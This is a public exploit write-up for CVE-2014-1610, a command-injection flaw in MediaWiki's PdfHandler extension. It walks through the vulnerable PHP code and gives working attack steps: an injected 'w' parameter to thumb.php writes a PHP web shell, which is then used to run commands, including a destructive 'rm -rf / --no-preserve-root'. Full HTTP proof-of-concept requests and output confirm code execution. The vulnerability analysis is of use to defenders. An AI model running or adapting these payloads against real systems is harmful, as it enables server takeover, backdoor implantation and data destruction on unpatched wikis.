#################################################################### # # MediaWiki <= 1.22.1 PdfHandler Remote Code Execution Exploit (CVE-2014-1610) # Reported by Netanel Rubin - Check Point&#8217;s Vulnerability Research Group (Jan 19, 2014) # Fixed in 1.22.2, 1.21.5 and 1.19.11 (Jan 30, 2014) # Affected website : Wikipedia.org and more ! # # Exploit author : Xelenonz & @u0x (Pichaya Morimoto) # Release dates : Feb 1, 2014 # Special Thanks to 2600 Thailand ! # #################################################################### # Exploit: #################################################################### 1. upload Longcat.pdf to wikimedia cms site (with PDF Handler enabled) http://vulnerable-site/index.php/Special:Upload 2. inject os cmd to upload a php-backdoor http://vulnerable-site/thumb.php?f=Longcat.pdf&w=10|`echo%20 "<?php%20system(\\$_GET[1]);">images/xnz.php` 3. access to php-backdoor! http://vulnerable-site/images/xnz.php?1=rm%20-rf%20%2f%20--no-preserve-root 4. happy pwning!! # Related files: #################################################################### thumb.php <-- extract all _GET array to params /extensions/PdfHandler/PdfHandler_body.php <-- failed to escape w/width options /includes/media/ImageHandler.php /includes/GlobalFunctions.php /includes/filerepo/file/File.php # Vulnerability Analysis: #################################################################### 1. thumb.php This script used to resize images if it is configured to be done when the web browser requests the image <? ... 1.1 Called directly, use $_GET params wfThumbHandleRequest(); 1.2 Handle a thumbnail request via query parameters function wfThumbHandleRequest() { $params = get_magic_quotes_gpc() ? array_map( 'stripslashes', $_GET ) : $_GET; << WTF wfStreamThumb( $params ); // stream the thumbnail } 1.3 Stream a thumbnail specified by parameters function wfStreamThumb( array $params ) { ... $fileName = isset( $params['f'] ) ? $params['f'] : ''; // << puts uploaded.pdf file here ... // Backwards compatibility parameters if ( isset( $params['w'] ) ) { $params['width'] = $params['w']; // << Inject os cmd here! unset( $params['w'] ); } ... $img = wfLocalFile( $fileName ); ... // Thumbnail isn't already there, so create the new thumbnail... $thumb = $img->transform( $params, File::RENDER_NOW ); // << resize image by width/height ... // Stream the file if there were no errors $thumb->streamFile( $headers ); ... ?> 2. /includes/filerepo/file/File.php <? ... function transform( $params, $flags = 0 ) { ... $handler = $this->getHandler(); // << PDF Handler ... $normalisedParams = $params; $handler->normaliseParams( $this, $normalisedParams ); ... $thumb = $handler->doTransform( $this, $tmpThumbPath, $thumbUrl, $params ); .. ?> 3. /extensions/PdfHandler/PdfHandler_body.php <? ... function doTransform( $image, $dstPath, $dstUrl, $params, $flags = 0 ) { ... $width = $params['width']; ... $cmd = '(' . wfEscapeShellArg( $wgPdfProcessor ); // << craft shell cmd & parameters $cmd .= " -sDEVICE=jpeg -sOutputFile=- -dFirstPage={$page} -dLastPage={$page}"; $cmd .= " -r{$wgPdfHandlerDpi} -dBATCH -dNOPAUSE -q ". wfEscapeShellArg( $srcPath ); $cmd .= " | " . wfEscapeShellArg( $wgPdfPostProcessor ); $cmd .= " -depth 8 -resize {$width} - "; // << FAILED to escape shell argument $cmd .= wfEscapeShellArg( $dstPath ) . ")"; $cmd .= " 2>&1"; ... $err = wfShellExec( $cmd, $retval ); ... ?> 4. /includes/GlobalFunctions.php Execute a shell command, with time and memory limits <? ... function wfShellExec( $cmd, &$retval = null, $environ = array(), $limits = array() ) { ... passthru( $cmd, $retval ); // << Execute here!! # Proof-Of-Concept #################################################################### GET /mediawiki1221/thumb.php?f=longcat.pdf&w=10|`echo%20%22%3C php%20system(\\$_GET[1]);%22%3Eimages/longcat.php` HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Cookie: my_wikiUserID=2; my_wikiUserName=Longcat; my_wiki_session=op3h2huvddnmg7gji0pscfsg02 <html><head><title>Error generating thumbnail</title></head> <body> <h1>Error generating thumbnail</h1> <p> &#3648;&#3585;&#3636;&#3604;&#3611;&#3633;&#3597;&#3627;&#3634;&#3652;&#3617;&#3656;&#3626;&#3634;&#3617;&#3634;&#3619;&#3606;&#3607;&#3635;&#3619;&#3641;&#3611;&#3618;&#3656;&#3629;&#3652;&#3604;&#3657;: /bin/bash: -: command not found<br /> convert: option requires an argument `-resize' @ error/convert.c/ConvertImageCommand/2380.<br /> GPL Ghostscript 9.10: Unrecoverable error, exit code 1<br /> </p> </body> </html> GET /mediawiki1221/images/longcat.php?1=id HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Cookie: my_wikiLoggedOut=1391266363; my_wikiUserID=2; my_wikiUserName=Longcat; my_wiki_session=bvg0n4o0sn6ug04lg26luqfcg1 uid=33(www-data) gid=33(www-data) groups=33(www-data) # Back-end $cmd #################################################################### GlobalFunctions.php : wfShellExec() cmd = ('gs' -sDEVICE=jpeg -sOutputFile=- -dFirstPage=1 -dLastPage=1 -r150 -dBATCH -dNOPAUSE -q '/var/www/mediawiki1221/images/2/27/Longcat.pdf' | '/usr/bin/convert' -depth 8 -resize 10|`echo "<?php system(\\$_GET[1]);">images/longcat.php` - '/tmp/transform_0e377aad0e27-1.jpg') 2>&1